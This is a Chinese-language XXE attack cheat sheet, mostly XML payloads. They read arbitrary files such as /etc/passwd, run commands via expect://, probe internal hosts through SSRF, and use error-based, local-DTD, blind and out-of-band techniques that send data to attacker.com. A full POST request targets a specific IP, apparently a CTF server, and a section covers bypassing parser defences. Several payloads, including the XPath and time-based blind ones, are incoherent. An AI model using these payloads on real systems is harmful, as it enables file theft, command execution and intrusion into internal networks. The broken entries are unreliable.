<aside> 💡
XXE危害1:读取任意文件
</aside>
XXE基础里面有,分为有回显与无回显两种。
**<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///文件路径" > ]>
<creds>&goodies;</creds>**
POST传输
**POST /parse HTTP/1.1
Host: 47.76.152.109:60088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
xml=<?xml+version="1.0"?>
<!DOCTYPE+root+[
+<!ELEMENT+root+ANY+>
+<!ENTITY+xxe+SYSTEM+"file:///flag"+>]>
<root><name>%26xxe;</name></root>
注意!!!&一定要改成%26**
<aside> 💡
XXE危害2:执行系统命令
</aside>
***注:需要 PHP 开 expect 扩展*
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "expect://whoami" > ]>
<creds>&goodies;</creds>**
<aside> 💡
XXE危害3:内网探测**/ssrf**
</aside>
利用http://协议,也就是可以发起http请求,利用该请求去探查内网,进行SSRF攻击。
**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "<http://127.0.0.1:80/Test/test.txt>" >
]>
<creds>
&goodies;
</creds>**
**<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "<http://127.0.0.1:81/Test/test.txt>" >
]>
<creds>
&goodies;
</creds>**
<aside> 💡
XXE报错注入
</aside>
1.文件路径泄露
攻击者可能构造一个导致服务器尝试打开不存在文件的实体,从而在错误消息中包含文件路径或其他上下文信息。这种情况下,报错注入的Payload可能是:
**<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///non_existent_path">
]>
<root>&xxe;</root>**
2.DTD(Document Type Definition)错误利用
利用DTD错误,如无限递归或未知实体引用,迫使XML解析器崩溃或返回详细的错误消息,其中可能包含服务器的环境信息。
**<!DOCTYPE test [
<!ENTITY % evil SYSTEM "<http://attacker.com/evil.dtd>">
<!ENTITY % inner "<!ENTITY % injected SYSTEM 'file:///etc/passwd'>">
%evil;
%inner;
]>
<root></root>**
3.XPath注入与错误利用
如果服务器使用了可配置的XPath查询,并且在处理XML时对查询结果进行了错误处理,攻击者可以通过构造特殊的XPath表达式导致错误,从而泄露信息。
**<?xml version="1.0"?>
<!DOCTYPE poc [
<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % xpath '<!ENTITY % xp "<!ENTITY % error SYSTEM 'file:///etc/passwd'>">>
%xpath;
%xp;
]>
<x:xmp xmlns:x="<http://www.w3.org/XML/1998/namespace>">
<query>
<x:select>/root/*[name()='item' and value='bad_value' or substring-after(value,'error')=%error;]</x:select>
</query>
</x:xmp>**
<aside> 💡
XXE本地DTD攻击
【Apache solr XML 实体注入漏洞复现(CVE-2017-12629)】
</aside>
DTD目录
**//windows
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd**
//**Apache
file:///usr/share/xml/fontconfig/fonts.dtd
//ubuntu16.04
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/libgweather/locations.dtd
/usr/share/yelp/dtd/docbookx.dtd**
Paload:
**<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>**
<aside> 💡
XXE的bypass
</aside>
- 禁用实体加载的绕过 :
- 有时服务器会禁用XML解析器对外部实体的加载,但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制,如利用内部实体的递归来消耗服务器资源,实现DoS攻击。
- 禁用DTD的绕过 :
- 有些服务器禁止了DTD解析,但仍可能允许XML模式(XSD)或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。
- 带外(OOB, Out-of-Band)信息泄露 :
- 当服务器不返回实体内容时,攻击者可以构造实体指向攻击者控制的服务器,利用服务器端的网络行为(如发起请求)来进行信息泄露,而不依赖于服务器的直接响应。
- XPath注入 :
- 如果服务器使用了XPath查询,并且这些查询基于用户输入,攻击者可能结合XXE和XPath注入,构造恶意查询来获取敏感信息或执行系统命令。
- 滥用特性 :
- 攻击者可能利用XML解析器的其他特性,如
php://input
伪协议、XML解析器的解析错误等,来执行攻击。
- 攻击者可能利用XML解析器的其他特性,如
- 利用旧版或有已知漏洞的XML解析器 :
- 服务器可能仍在使用老旧版本的XML解析器,这些版本可能包含已知的XXE漏洞,而服务器管理员未能及时更新。
<aside> 💡
XXE的盲注
</aside>
布尔型盲注
**<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % true "<!ENTITY xxe SYSTEM 'file:///dev/null'>">
%true;
]>
<root>&xxe;</root>**
时间的盲注
**<!DOCTYPE test [
<!ENTITY % file SYSTEM "java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient <http://attacker.com/> & sleep 5">
<!ENTITY % true "<!ENTITY xxe SYSTEM '%file;'>">
%true;
]>
<root>&xxe;</root>**
#如果服务器响应时间增加明显,则可能执行了耗时的系统命令。
带外通信(Out-of-Band, OOB)利用
**<!DOCTYPE test [
<!ENTITY % file SYSTEM "<http://attacker.com/?data=><data_to_send>">
]>
<root>&file;</root>
#<data_to_send>会被替换为实际要发送的数据,比如从受害服务器中获取的敏感信息。**
攻击者在其自己的服务器上监听,如果接收到请求,则意味着服务器可能受到XXE攻击并执行了外部实体。